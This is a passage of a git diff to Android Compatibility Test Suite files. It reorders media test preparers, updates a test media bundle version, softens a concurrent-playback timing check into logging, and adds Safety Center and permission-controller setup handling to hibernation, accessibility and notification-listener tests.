import android.platform.test.annotations.AppModeFull;
import android.util.Log;
@@ -1301,6 +1302,10 @@ public class VideoEncoderTest extends MediaTestBase {
if (TestArgs.shouldSkipCodec(encoder)) {
continue;
}
+ if (!TestUtils.isTestableCodecInCurrentMode(encoder)) {
+ Log.d(TAG, "Skipping tests for codec: " + encoder);
+ continue;
+ }
CodecCapabilities caps = getCodecCapabities(encoder, mediaType, true);
assertNotNull(caps);
EncoderSize encoderSize = new EncoderSize(encoder, mediaType, caps);
diff --git a/tests/tests/media/extractor/AndroidTest.xml b/tests/tests/media/extractor/AndroidTest.xml
index 007a65b74a3..fbe2d48fad5 100644
--- a/tests/tests/media/extractor/AndroidTest.xml
+++ b/tests/tests/media/extractor/AndroidTest.xml
@@ -33,6 +33,11 @@
<option name="dynamic-config-name" value="CtsMediaExtractorTestCases" />
<option name="version" value="1.0"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaExtractorTestCases" />
+ <option name="version" value="1.0"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
<option name="media-folder-name" value="CtsMediaExtractorTestCases-1.0" />
@@ -42,11 +47,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsMediaExtractorTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsMediaExtractorTestCases" />
- <option name="version" value="1.0"/>
- </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.media.extractor.cts" />
<!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/misc/AndroidTest.xml b/tests/tests/media/misc/AndroidTest.xml
index 58cea2c8df6..1facb8d3933 100644
--- a/tests/tests/media/misc/AndroidTest.xml
+++ b/tests/tests/media/misc/AndroidTest.xml
@@ -33,20 +33,20 @@
<option name="dynamic-config-name" value="CtsMediaMiscTestCases" />
<option name="version" value="9.0_r1"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaMiscTestCases" />
+ <option name="version" value="1.0"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
- <option name="media-folder-name" value="CtsMediaMiscTestCases-1.0" />
+ <option name="media-folder-name" value="CtsMediaMiscTestCases-2.0" />
<option name="dynamic-config-module" value="CtsMediaMiscTestCases" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsMediaMiscTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsMediaMiscTestCases" />
- <option name="version" value="1.0"/>
- </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.media.misc.cts" />
<!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/misc/DynamicConfig.xml b/tests/tests/media/misc/DynamicConfig.xml
index 09e5fbaf95f..51e05bbba75 100644
--- a/tests/tests/media/misc/DynamicConfig.xml
+++ b/tests/tests/media/misc/DynamicConfig.xml
@@ -15,6 +15,6 @@
<dynamicConfig>
<entry key="media_files_url">
- <value>https://storage.googleapis.com/android_media/cts/tests/tests/media/misc/CtsMediaMiscTestCases-1.0.zip</value>
+ <value>https://storage.googleapis.com/android_media/cts/tests/tests/media/misc/CtsMediaMiscTestCases-2.0.zip</value>
</entry>
</dynamicConfig>
diff --git a/tests/tests/media/misc/copy_media.sh b/tests/tests/media/misc/copy_media.sh
index 96f5a499d3b..27ba1e73422 100755
--- a/tests/tests/media/misc/copy_media.sh
+++ b/tests/tests/media/misc/copy_media.sh
@@ -17,4 +17,4 @@
[ -z "$MEDIA_ROOT_DIR" ] && MEDIA_ROOT_DIR=$(dirname $0)/..
source $MEDIA_ROOT_DIR/common/copy_media_utils.sh
get_adb_options "$@"
-copy_media "misc" "CtsMediaMiscTestCases-1.0"
+copy_media "misc" "CtsMediaMiscTestCases-2.0"
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/WorkDir.java b/tests/tests/media/misc/src/android/media/misc/cts/WorkDir.java
index 0c392295e04..dbb60353267 100644
--- a/tests/tests/media/misc/src/android/media/misc/cts/WorkDir.java
+++ b/tests/tests/media/misc/src/android/media/misc/cts/WorkDir.java
@@ -20,6 +20,6 @@ import android.media.cts.WorkDirBase;
class WorkDir extends WorkDirBase {
public static final String getMediaDirString() {
- return getMediaDirString("CtsMediaMiscTestCases-1.0");
+ return getMediaDirString("CtsMediaMiscTestCases-2.0");
}
}
diff --git a/tests/tests/media/muxer/AndroidTest.xml b/tests/tests/media/muxer/AndroidTest.xml
index 502f2ca2628..0c361e96d36 100644
--- a/tests/tests/media/muxer/AndroidTest.xml
+++ b/tests/tests/media/muxer/AndroidTest.xml
@@ -33,6 +33,11 @@
<option name="dynamic-config-name" value="CtsMediaMuxerTestCases" />
<option name="version" value="1.0"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaMuxerTestCases" />
+ <option name="version" value="1.0"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
<option name="media-folder-name" value="CtsMediaMuxerTestCases-1.1" />
@@ -42,11 +47,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsMediaMuxerTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsMediaMuxerTestCases" />
- <option name="version" value="1.0"/>
- </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.media.muxer.cts" />
<!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/player/AndroidTest.xml b/tests/tests/media/player/AndroidTest.xml
index e3e8b0215cc..a0041ac2af8 100644
--- a/tests/tests/media/player/AndroidTest.xml
+++ b/tests/tests/media/player/AndroidTest.xml
@@ -33,6 +33,11 @@
<option name="dynamic-config-name" value="CtsMediaPlayerTestCases" />
<option name="version" value="1.0"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaPlayerTestCases" />
+ <option name="version" value="1.0"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
<option name="media-folder-name" value="CtsMediaPlayerTestCases-1.0" />
@@ -42,11 +47,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsMediaPlayerTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsMediaPlayerTestCases" />
- <option name="version" value="1.0"/>
- </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.media.player.cts" />
<!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/player/src/android/media/player/cts/MediaPlayerFlakyNetworkTest.java b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerFlakyNetworkTest.java
index 81c0d89b9d2..86c6912796c 100644
--- a/tests/tests/media/player/src/android/media/player/cts/MediaPlayerFlakyNetworkTest.java
+++ b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerFlakyNetworkTest.java
@@ -75,6 +75,7 @@ public class MediaPlayerFlakyNetworkTest extends MediaPlayerTestBase {
private CtsTestServer mServer;
@Before
+ @Override
public void setUp() throws Throwable {
super.setUp();
}
diff --git a/tests/tests/media/player/src/android/media/player/cts/MediaPlayerTest.java b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerTest.java
index b46366cb5d8..fdf85076427 100644
--- a/tests/tests/media/player/src/android/media/player/cts/MediaPlayerTest.java
+++ b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerTest.java
@@ -406,9 +406,10 @@ public class MediaPlayerTest extends MediaPlayerTestBase {
}
@Test
- public void testConcurentPlayAudio() throws Exception {
+ public void testConcurrentPlayAudio() throws Exception {
final String res = "test1m1s.mp3"; // MP3 longer than 1m are usualy offloaded
- final int tolerance = 70;
+ final int recommendedTolerance = 70;
+ final List<Integer> offsets = new ArrayList<>();
Preconditions.assertTestFileExists(mInpPrefix + res);
List<MediaPlayer> mps = Stream.generate(
@@ -431,13 +432,25 @@ public class MediaPlayerTest extends MediaPlayerTestBase {
int pos = mp.getCurrentPosition();
assertTrue(pos >= 0);
- Thread.sleep(SLEEP_TIME); // Delay each track to be able to ear them
+ Thread.sleep(SLEEP_TIME); // Delay each track to be able to hear them
}
+
// Check that all mp3 are playing concurrently here
+ // Record the offsets between streams, but don't enforce them
for (MediaPlayer mp : mps) {
int pos = mp.getCurrentPosition();
Thread.sleep(SLEEP_TIME);
- assertEquals(pos + SLEEP_TIME, mp.getCurrentPosition(), tolerance);
+ offsets.add(Math.abs(pos + SLEEP_TIME - mp.getCurrentPosition()));
+ }
+
+ if (offsets.stream().anyMatch(offset -> offset > recommendedTolerance)) {
+ Log.w(LOG_TAG, "testConcurrentPlayAudio: some concurrent playing offsets "
+ + offsets + " are above the recommended tolerance of "
+ + recommendedTolerance + "ms.");
+ } else {
+ Log.i(LOG_TAG, "testConcurrentPlayAudio: all concurrent playing offsets "
+ + offsets + " are under the recommended tolerance of "
+ + recommendedTolerance + "ms.");
}
} finally {
mps.forEach(MediaPlayer::release);
diff --git a/tests/tests/mediastress/src/android/mediastress/cts/MediaRecorderStressTest.java b/tests/tests/mediastress/src/android/mediastress/cts/MediaRecorderStressTest.java
index 0505d8b5119..5c1ec89be93 100644
--- a/tests/tests/mediastress/src/android/mediastress/cts/MediaRecorderStressTest.java
+++ b/tests/tests/mediastress/src/android/mediastress/cts/MediaRecorderStressTest.java
@@ -282,6 +282,10 @@ public class MediaRecorderStressTest extends ActivityInstrumentationTestCase2<Me
mRecorder.reset();
mRecorder.release();
output.write(", " + i);
+ if (mRemoveVideo) {
+ removeRecodedVideo(filename);
+ }
+
}
output.write("\n\n");
@@ -371,6 +375,9 @@ public class MediaRecorderStressTest extends ActivityInstrumentationTestCase2<Me
mRecorder.release();
Log.v(TAG, "release video recorder");
output.write(", " + i);
+ if (mRemoveVideo) {
+ removeRecodedVideo(filename);
+ }
}
output.write("\n\n");
diff --git a/tests/tests/os/Android.bp b/tests/tests/os/Android.bp
index 8bc82220b10..c50c6a70dd7 100644
--- a/tests/tests/os/Android.bp
+++ b/tests/tests/os/Android.bp
@@ -40,6 +40,7 @@ android_test {
"hamcrest-library",
"modules-utils-build_system",
"platformprotosnano",
+ "safety-center-internal-data",
],
jni_uses_platform_apis: true,
jni_libs: [
diff --git a/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt b/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt
index 4b91ee0c3ec..f49e06548d6 100644
--- a/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt
+++ b/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt
@@ -50,17 +50,23 @@ import com.android.compatibility.common.util.UiDumpUtils
import com.android.compatibility.common.util.click
import com.android.compatibility.common.util.depthFirstSearch
import com.android.compatibility.common.util.textAsString
+import java.io.InputStream
+import java.util.concurrent.CountDownLatch
+import java.util.concurrent.TimeUnit
import org.hamcrest.Matcher
import org.hamcrest.Matchers
import org.junit.Assert
import org.junit.Assert.assertThat
import org.junit.Assert.assertTrue
-import java.io.InputStream
-import java.util.concurrent.CountDownLatch
-import java.util.concurrent.TimeUnit
private const val BROADCAST_TIMEOUT_MS = 60000L
+const val PROPERTY_SAFETY_CENTER_ENABLED = "safety_center_is_enabled"
+const val HIBERNATION_BOOT_RECEIVER_CLASS_NAME =
+ "com.android.permissioncontroller.hibernation.HibernationOnBootReceiver"
+const val ACTION_SET_UP_HIBERNATION =
+ "com.android.permissioncontroller.action.SET_UP_HIBERNATION"
+
const val SYSUI_PKG_NAME = "com.android.systemui"
const val NOTIF_LIST_ID = "com.android.systemui:id/notification_stack_scroller"
const val CLEAR_ALL_BUTTON_ID = "dismiss_text"
@@ -82,35 +88,37 @@ const val APK_PACKAGE_NAME_Q_APP = "android.os.cts.autorevokeqapp"
fun runBootCompleteReceiver(context: Context, testTag: String) {
val pkgManager = context.packageManager
val permissionControllerPkg = pkgManager.permissionControllerPackageName
+ var permissionControllerSetupIntent = Intent(ACTION_SET_UP_HIBERNATION).apply {
+ setPackage(permissionControllerPkg)
+ setFlags(Intent.FLAG_RECEIVER_FOREGROUND)
+ }
val receivers = pkgManager.queryBroadcastReceivers(
- Intent(Intent.ACTION_BOOT_COMPLETED), /* flags= */ 0)
- for (ri in receivers) {
- val pkg = ri.activityInfo.packageName
- if (pkg == permissionControllerPkg) {
- val permissionControllerSetupIntent = Intent()
- .setClassName(pkg, ri.activityInfo.name)
- .setFlags(Intent.FLAG_RECEIVER_FOREGROUND)
- .setPackage(permissionControllerPkg)
- val countdownLatch = CountDownLatch(1)
- Log.d(testTag, "Sending boot complete broadcast directly to ${ri.activityInfo.name} " +
- "in package $permissionControllerPkg")
- context.sendOrderedBroadcast(
- permissionControllerSetupIntent,
- /* receiverPermission= */ null,
- object : BroadcastReceiver() {
- override fun onReceive(context: Context?, intent: Intent?) {
- countdownLatch.countDown()
- Log.d(testTag, "Broadcast received by $permissionControllerPkg")
- }
- },
- Handler.createAsync(Looper.getMainLooper()),
- Activity.RESULT_OK,
- /* initialData= */ null,
- /* initialExtras= */ null)
- assertTrue("Timed out while waiting for boot receiver broadcast to be received",
- countdownLatch.await(BROADCAST_TIMEOUT_MS, TimeUnit.MILLISECONDS))
+ permissionControllerSetupIntent, /* flags= */ 0)
+ if (receivers.size == 0) {
+ // May be on an older, pre-built PermissionController. In this case, try sending directly.
+ permissionControllerSetupIntent = Intent().apply {
+ setPackage(permissionControllerPkg)
+ setClassName(permissionControllerPkg, HIBERNATION_BOOT_RECEIVER_CLASS_NAME)
+ setFlags(Intent.FLAG_RECEIVER_FOREGROUND)
}
}
+ val countdownLatch = CountDownLatch(1)
+ Log.d(testTag, "Sending boot complete broadcast directly to $permissionControllerPkg")
+ context.sendOrderedBroadcast(
+ permissionControllerSetupIntent,
+ /* receiverPermission= */ null,
+ object : BroadcastReceiver() {
+ override fun onReceive(context: Context?, intent: Intent?) {
+ countdownLatch.countDown()
+ Log.d(testTag, "Broadcast received by $permissionControllerPkg")
+ }
+ },
+ Handler.createAsync(Looper.getMainLooper()),
+ Activity.RESULT_OK,
+ /* initialData= */ null,
+ /* initialExtras= */ null)
+ assertTrue("Timed out while waiting for boot receiver broadcast to be received",
+ countdownLatch.await(BROADCAST_TIMEOUT_MS, TimeUnit.MILLISECONDS))
}
fun runAppHibernationJob(context: Context, tag: String) {
@@ -197,6 +205,12 @@ inline fun <T> withUnusedThresholdMs(threshold: Long, action: () -> T): T {
threshold.toString(), action)
}
+inline fun <T> withSafetyCenterEnabled(action: () -> T): T {
+ return withDeviceConfig(
+ DeviceConfig.NAMESPACE_PRIVACY, PROPERTY_SAFETY_CENTER_ENABLED,
+ true.toString(), action)
+}
+
fun awaitAppState(pkg: String, stateMatcher: Matcher<Int>) {
val context: Context = InstrumentationRegistry.getTargetContext()
eventually {
diff --git a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
index b724be82b36..fdfda50bda9 100644
--- a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
+++ b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
@@ -28,8 +28,11 @@ import android.content.pm.PackageManager.PERMISSION_GRANTED
import android.content.res.Resources
import android.net.Uri
import android.os.Build
+import android.os.UserHandle
import android.platform.test.annotations.AppModeFull
import android.provider.DeviceConfig
+import android.safetycenter.SafetyCenterIssue
+import android.safetycenter.SafetyCenterManager
import android.support.test.uiautomator.By
import android.support.test.uiautomator.BySelector
import android.support.test.uiautomator.UiObject2
@@ -54,6 +57,13 @@ import com.android.compatibility.common.util.click
import com.android.compatibility.common.util.depthFirstSearch
import com.android.compatibility.common.util.uiDump
import com.android.modules.utils.build.SdkLevel
+import com.android.safetycenter.internaldata.SafetyCenterIds
+import com.android.safetycenter.internaldata.SafetyCenterIssueId
+import com.android.safetycenter.internaldata.SafetyCenterIssueKey
+import java.lang.reflect.Modifier
+import java.util.concurrent.TimeUnit
+import java.util.concurrent.atomic.AtomicReference
+import java.util.regex.Pattern
import org.hamcrest.CoreMatchers.containsString
import org.hamcrest.CoreMatchers.containsStringIgnoringCase
import org.hamcrest.CoreMatchers.equalTo
@@ -71,10 +81,6 @@ import org.junit.Ignore
import org.junit.Rule
import org.junit.Test
import org.junit.runner.RunWith
-import java.lang.reflect.Modifier
-import java.util.concurrent.TimeUnit
-import java.util.concurrent.atomic.AtomicReference
-import java.util.regex.Pattern
private const val READ_CALENDAR = "android.permission.READ_CALENDAR"
private const val BLUETOOTH_CONNECT = "android.permission.BLUETOOTH_CONNECT"
@@ -103,6 +109,8 @@ class AutoRevokeTest {
companion object {
const val LOG_TAG = "AutoRevokeTest"
private const val STORE_EXACT_TIME_KEY = "permission_changes_store_exact_time"
+ private const val UNUSED_APPS_SOURCE_ID = "AndroidPermissionAutoRevoke"
+ private const val UNUSED_APPS_ISSUE_ID = "unused_apps_issue"
@JvmStatic
@BeforeClass
@@ -126,7 +134,11 @@ class AutoRevokeTest {
// Wake up the device
runShellCommandOrThrow("input keyevent KEYCODE_WAKEUP")
- runShellCommandOrThrow("input keyevent 82")
+ if ("false".equals(runShellCommandOrThrow("cmd lock_settings get-disabled"))) {
+ // Unlock screen only when it's lock settings enabled to prevent showing "wallpaper
+ // picker" which may cover another UI elements on freeform window configuration.
+ runShellCommandOrThrow("input keyevent 82")
+ }
if (isAutomotiveDevice()) {
supportedApkPath = APK_PATH_S_APP
@@ -434,6 +446,88 @@ class AutoRevokeTest {
}
}
+ @AppModeFull(reason = "Uses separate apps for testing")
+ @SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU, codeName = "Tiramisu")
+ @Test
+ fun testAutoRevoke_showsUpInSafetyCenter() {
+ withSafetyCenterEnabled {
+ withUnusedThresholdMs(3L) {
+ withDummyApp {
+ startAppAndAcceptPermission()
+
+ killDummyApp()
+
+ // Run
+ runAppHibernationJob(context, LOG_TAG)
+
+ // Verify
+ val safetyCenterManager =
+ context.getSystemService(SafetyCenterManager::class.java)!!
+ eventually {
+ val issues = ArrayList<SafetyCenterIssue>()
+ runWithShellPermissionIdentity {
+ val safetyCenterData = safetyCenterManager!!.safetyCenterData
+ issues.addAll(safetyCenterData.issues)
+ }
+ val issueId = SafetyCenterIds.encodeToString(
+ SafetyCenterIssueId.newBuilder()
+ .setSafetyCenterIssueKey(SafetyCenterIssueKey.newBuilder()
+ .setSafetySourceId(UNUSED_APPS_SOURCE_ID)
+ .setSafetySourceIssueId(UNUSED_APPS_ISSUE_ID)
+ .setUserId(UserHandle.myUserId())
+ .build())
+ .setIssueTypeId(UNUSED_APPS_ISSUE_ID)
+ .build())
+ assertTrue(issues.any { it.id == issueId })
+ }
+ }
+ }
+ }
+ }
+
+ @AppModeFull(reason = "Uses separate apps for testing")
+ @SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU, codeName = "Tiramisu")
+ @Test
+ fun testAutoRevoke_goToUnusedAppsPage_removesSafetyCenterIssue() {
+ withSafetyCenterEnabled {
+ withUnusedThresholdMs(3L) {
+ withDummyApp {
+ startAppAndAcceptPermission()
+
+ killDummyApp()
+
+ // Run
+ runAppHibernationJob(context, LOG_TAG)
+
+ // Go to unused apps page
+ openUnusedAppsNotification()
+ waitFindObject(By.text(supportedAppPackageName))
+
+ // Verify
+ val safetyCenterManager =
+ context.getSystemService(SafetyCenterManager::class.java)!!
+ eventually {
+ val issues = ArrayList<SafetyCenterIssue>()
+ runWithShellPermissionIdentity {
+ val safetyCenterData = safetyCenterManager!!.safetyCenterData
+ issues.addAll(safetyCenterData.issues)
+ }
+ val issueId = SafetyCenterIds.encodeToString(
+ SafetyCenterIssueId.newBuilder()
+ .setSafetyCenterIssueKey(SafetyCenterIssueKey.newBuilder()
+ .setSafetySourceId(UNUSED_APPS_SOURCE_ID)
+ .setSafetySourceIssueId(UNUSED_APPS_ISSUE_ID)
+ .setUserId(UserHandle.myUserId())
+ .build())
+ .setIssueTypeId(UNUSED_APPS_ISSUE_ID)
+ .build())
+ assertFalse(issues.any { it.id == issueId })
+ }
+ }
+ }
+ }
+ }
+
private fun isAutomotiveDevice(): Boolean {
return context.packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
}
@@ -576,9 +670,9 @@ class AutoRevokeTest {
val parent = waitFindObject(
By.clickable(true)
.hasDescendant(By.textStartsWith("Remove permissions"))
- .hasDescendant(By.clazz(Switch::class.java.name))
+ .hasDescendant(By.checkable(true))
)
- return parent.findObject(By.clazz(Switch::class.java.name))
+ return parent.findObject(By.checkable(true))
}
private fun waitForIdle() {
diff --git a/tests/tests/permission/src/android/permission/cts/AccessibilityPrivacySourceTest.kt b/tests/tests/permission/src/android/permission/cts/AccessibilityPrivacySourceTest.kt
index 58238e3b5be..513e1dfebf4 100644
--- a/tests/tests/permission/src/android/permission/cts/AccessibilityPrivacySourceTest.kt
+++ b/tests/tests/permission/src/android/permission/cts/AccessibilityPrivacySourceTest.kt
@@ -33,8 +33,10 @@ import android.permission.cts.NotificationListenerUtils.getNotification
import android.permission.cts.SafetyCenterUtils.assertSafetyCenterIssueDoesNotExist
import android.permission.cts.SafetyCenterUtils.assertSafetyCenterIssueExist
import android.permission.cts.SafetyCenterUtils.assertSafetyCenterStarted
+import android.permission.cts.SafetyCenterUtils.deleteDeviceConfigPrivacyProperty
import android.permission.cts.SafetyCenterUtils.deviceSupportsSafetyCenter
import android.permission.cts.SafetyCenterUtils.setDeviceConfigPrivacyProperty
+import android.platform.test.annotations.AppModeFull
import android.provider.DeviceConfig
import android.safetycenter.SafetyCenterManager
import androidx.test.filters.SdkSuppress
@@ -55,6 +57,10 @@ import org.junit.Test
import org.junit.runner.RunWith
@RunWith(AndroidJUnit4::class)
+@AppModeFull(
+ reason = "Cannot set system settings as instant app. Also we never show an accessibility " +
+ "notification for instant apps."
+)
@SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU, codeName = "Tiramisu")
class AccessibilityPrivacySourceTest {
@@ -109,6 +115,28 @@ class AccessibilityPrivacySourceTest {
}
@Test
+ fun testJobSendsNotificationOnEnable() {
+ mAccessibilityServiceRule.enableService()
+ runJobAndWaitUntilCompleted()
+ assertNotificationExist(permissionControllerPackage, ACCESSIBILITY_NOTIFICATION_ID)
+
+ setDeviceConfigPrivacyProperty(ACCESSIBILITY_LISTENER_ENABLED, true.toString())
+ cancelNotification(permissionControllerPackage, ACCESSIBILITY_NOTIFICATION_ID)
+ InstrumentedAccessibilityService.disableAllServices()
+ setDeviceConfigPrivacyProperty(ACCESSIBILITY_LISTENER_ENABLED, false.toString())
+ setDeviceConfigPrivacyProperty(ACCESSIBILITY_JOB_INTERVAL_MILLIS, "0")
+
+ // enable service again and verify a notification
+ try {
+ mAccessibilityServiceRule.enableService()
+ runJobAndWaitUntilCompleted()
+ assertNotificationExist(permissionControllerPackage, ACCESSIBILITY_NOTIFICATION_ID)
+ } finally {
+ deleteDeviceConfigPrivacyProperty(ACCESSIBILITY_JOB_INTERVAL_MILLIS)
+ }
+ }
+
+ @Test
fun testJobSendsIssuesToSafetyCenter() {
mAccessibilityServiceRule.enableService()
runJobAndWaitUntilCompleted()
@@ -238,12 +266,27 @@ class AccessibilityPrivacySourceTest {
"cmd jobscheduler reset-execution-quota -u " +
"${Process.myUserHandle().identifier} $permissionControllerPackage")
- context.sendBroadcast(
- Intent().apply {
- setClassName(permissionControllerPackage, AccessibilityOnBootReceiver)
- setFlags(Intent.FLAG_RECEIVER_FOREGROUND)
+ // Setup up permission controller again (simulate a reboot)
+ val permissionControllerSetupIntent =
+ Intent(ACTION_SET_UP_ACCESSIBILITY_CHECK).apply {
setPackage(permissionControllerPackage)
- })
+ setFlags(Intent.FLAG_RECEIVER_FOREGROUND)
+ }
+
+ // Query for the setup broadcast receiver
+ val resolveInfos =
+ context.packageManager.queryBroadcastReceivers(permissionControllerSetupIntent, 0)
+
+ if (resolveInfos.size > 0) {
+ context.sendBroadcast(permissionControllerSetupIntent)
+ } else {
+ context.sendBroadcast(
+ Intent().apply {
+ setClassName(permissionControllerPackage, AccessibilityOnBootReceiver)
+ setFlags(Intent.FLAG_RECEIVER_FOREGROUND)
+ setPackage(permissionControllerPackage)
+ })
+ }
// Wait until jobs are set up
TestUtils.eventually(
@@ -274,6 +317,7 @@ class AccessibilityPrivacySourceTest {
private const val ACCESSIBILITY_SOURCE_ENABLED = "sc_accessibility_source_enabled"
private const val SAFETY_CENTER_ENABLED = "safety_center_is_enabled"
private const val ACCESSIBILITY_LISTENER_ENABLED = "sc_accessibility_listener_enabled"
+ private const val ACCESSIBILITY_JOB_INTERVAL_MILLIS = "sc_accessibility_job_interval_millis"
private const val ACCESSIBILITY_JOB_ID = 6
private const val ACCESSIBILITY_NOTIFICATION_ID = 4
@@ -283,6 +327,8 @@ class AccessibilityPrivacySourceTest {
private const val AccessibilityOnBootReceiver =
"com.android.permissioncontroller.privacysources.AccessibilityOnBootReceiver"
+ private const val ACTION_SET_UP_ACCESSIBILITY_CHECK =
+ "com.android.permissioncontroller.action.SET_UP_ACCESSIBILITY_CHECK"
@get:ClassRule
@JvmStatic
diff --git a/tests/tests/permission/src/android/permission/cts/BaseNotificationListenerCheckTest.java b/tests/tests/permission/src/android/permission/cts/BaseNotificationListenerCheckTest.java
index 6ce52b180f4..f88b7ecbbaa 100644
--- a/tests/tests/permission/src/android/permission/cts/BaseNotificationListenerCheckTest.java
+++ b/tests/tests/permission/src/android/permission/cts/BaseNotificationListenerCheckTest.java
@@ -17,7 +17,6 @@
package android.permission.cts;
import static android.Manifest.permission.WRITE_DEVICE_CONFIG;
-import static android.content.Intent.ACTION_BOOT_COMPLETED;
import static android.content.Intent.FLAG_RECEIVER_FOREGROUND;
import static android.os.Process.myUserHandle;
import static android.permission.cts.PermissionUtils.clearAppState;
@@ -105,7 +104,7 @@ public class BaseNotificationListenerCheckTest {
private static final String PROPERTY_NOTIFICATION_LISTENER_CHECK_INTERVAL_MILLIS =
"notification_listener_check_interval_millis";
- private static final Long OVERRIDE_NOTIFICATION_LISTENER_CHECK_INTERVAL_MILLIS =
+ protected static final Long OVERRIDE_NOTIFICATION_LISTENER_CHECK_INTERVAL_MILLIS =
SECONDS.toMillis(1);
private static final String PROPERTY_JOB_SCHEDULER_MAX_JOB_PER_RATE_LIMIT_WINDOW =
@@ -114,6 +113,11 @@ public class BaseNotificationListenerCheckTest {
private static final String PROPERTY_JOB_SCHEDULER_RATE_LIMIT_WINDOW_MILLIS =
"qc_rate_limiting_window_ms";
+ private static final String ACTION_SET_UP_NOTIFICATION_LISTENER_CHECK =
+ "com.android.permissioncontroller.action.SET_UP_NOTIFICATION_LISTENER_CHECK";
+ private static final String NotificationListenerOnBootReceiver =
+ "com.android.permissioncontroller.privacysources.SetupPeriodicNotificationListenerCheck";
+
/**
* ID for notification shown by
* {@link com.android.permissioncontroller.privacysources.NotificationListenerCheck}.
@@ -374,19 +378,21 @@ public class BaseNotificationListenerCheckTest {
}, UNEXPECTED_TIMEOUT_MILLIS);
// Setup up permission controller again (simulate a reboot)
- Intent permissionControllerSetupIntent = null;
- for (ResolveInfo ri : sContext.getPackageManager().queryBroadcastReceivers(
- new Intent(ACTION_BOOT_COMPLETED), 0)) {
- String pkg = ri.activityInfo.packageName;
-
- if (pkg.equals(PERMISSION_CONTROLLER_PKG)) {
- permissionControllerSetupIntent = new Intent()
- .setClassName(pkg, ri.activityInfo.name)
- .setFlags(FLAG_RECEIVER_FOREGROUND)
- .setPackage(PERMISSION_CONTROLLER_PKG);
-
- sContext.sendBroadcast(permissionControllerSetupIntent);
- }
+ Intent permissionControllerSetupIntent = new Intent(
+ ACTION_SET_UP_NOTIFICATION_LISTENER_CHECK).setPackage(
+ PERMISSION_CONTROLLER_PKG).setFlags(FLAG_RECEIVER_FOREGROUND);
+
+ // Query for the setup broadcast receiver
+ List<ResolveInfo> resolveInfos = sContext.getPackageManager().queryBroadcastReceivers(
+ permissionControllerSetupIntent, 0);
+
+ if (resolveInfos.size() > 0) {
+ sContext.sendBroadcast(permissionControllerSetupIntent);
+ } else {
+ sContext.sendBroadcast(new Intent()
+ .setClassName(PERMISSION_CONTROLLER_PKG, NotificationListenerOnBootReceiver)
+ .setFlags(FLAG_RECEIVER_FOREGROUND)
+ .setPackage(PERMISSION_CONTROLLER_PKG));
}
// Wait until jobs are set up
diff --git a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
index b41fb081d39..ceb4ede242b 100644
--- a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
+++ b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
